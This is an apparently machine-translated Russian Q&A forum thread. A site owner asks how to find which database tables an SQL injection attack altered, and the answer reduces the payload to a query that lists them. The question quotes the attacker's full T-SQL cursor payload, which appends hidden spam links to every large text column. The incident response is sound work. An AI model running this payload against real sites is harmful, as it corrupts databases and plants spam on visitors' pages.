2015-08-31 3 views
1

В последнее время мы обнаружили, что один из наших обработчиков aspx был нацелен на SQL-инъекцию. То, что сделало возможным, было тем фактом, что мы взяли подстроку url, начинающуюся с индекса X до конца строки url, а затем сопоставили ее с записями в базе данных, которые облегчали для нападавших.Найти таблицы, затронутые SQL-инъекцией

Вот пример инъекции они выступали:

;declare @c cursor; 
declare @d varchar(4000); 
set @c=cursor 
for select 
'update ['+TABLE_NAME+'] 
set ['+COLUMN_NAME+']=['+COLUMN_NAME+']+case ABS(CHECKSUM(NewId()))%7 
when 0 then ''''+char(60)+''div style="display:none"''+char(62) 
+''are abortions safe '' 
+char(60)+''a href="http:''+char(47)+char(47) 
+''www.ooblong.com''+char(47)+''blog''+char(47) 
+''template''+char(47)+''page''+char(47)+''abortion-clinics-nyc.aspx"'' 
+char(62)+case ABS(CHECKSUM(NewId()))%3 
when 0 then ''reasons against abortion'' 
when 1 then ''pregnant abortion'' 
else ''pill for pregnancy termination'' end 
+char(60)+char(47)+''a''+char(62)+'' how much does a abortion cost'' 
+char(60)+char(47)+''div''+char(62)+'''' else '''' end' 
FROM sysindexes AS i 
INNER JOIN sysobjects AS o 
ON i.id=o.id 
INNER JOIN INFORMATION_SCHEMA.COLUMNS 
ON o.NAME=TABLE_NAME 
WHERE(indid=0 or indid=1) 
and DATA_TYPE like '%varchar' 
and(CHARACTER_MAXIMUM_LENGTH=-1 or CHARACTER_MAXIMUM_LENGTH=2147483647); 
open @c; 
fetch next from @c into @d; 
while @@FETCH_STATUS=0 
begin exec (@d); 
fetch next from @c into @d; 
end; 
close @c-- 

Мы уже обеспечили наши обработчик Aspx отказаться от этих видов запросов. Теперь мы хотели бы узнать, какие таблицы были затронуты этой атакой. Мы обнаружили, что затронуты не менее 2 таблиц, но мы боимся, что может быть больше. Как мы можем перепроектировать вышеуказанный SQL, чтобы узнать, в каких таблицах это повлияло?

ответ

1

Просто возьмите запрос вы показали и сдирать все ненужные подробности о самых атаках, и вы получите:

SELECT TABLE_NAME, COLUMN_NAME 
FROM sysindexes AS i 
INNER JOIN sysobjects AS o 
ON i.id=o.id 
INNER JOIN INFORMATION_SCHEMA.COLUMNS 
ON o.NAME=TABLE_NAME 
WHERE(indid=0 or indid=1) 
and DATA_TYPE like '%varchar' 
and(CHARACTER_MAXIMUM_LENGTH=-1 or CHARACTER_MAXIMUM_LENGTH=2147483647); 

Таблицы и столбцы в выводе этого запроса были использованы в курсоре и пострадавших от нападения вы упомянули.

+0

Уже пробовал, что он вернул 0 строк. Нападавшие запускали много запросов, возможно, не все из них были успешными. Я попытаюсь найти больше случаев атаки. –

+0

Ничего, я просто должен был включить следующее, прежде чем запускать сценарий, и я получил правильные таблицы. Кажется в соответствии с таблицами, которые мы видели, уже затронуты; ИСПОЛЬЗОВАТЬ DATABASE_NAME; –

Смежные вопросы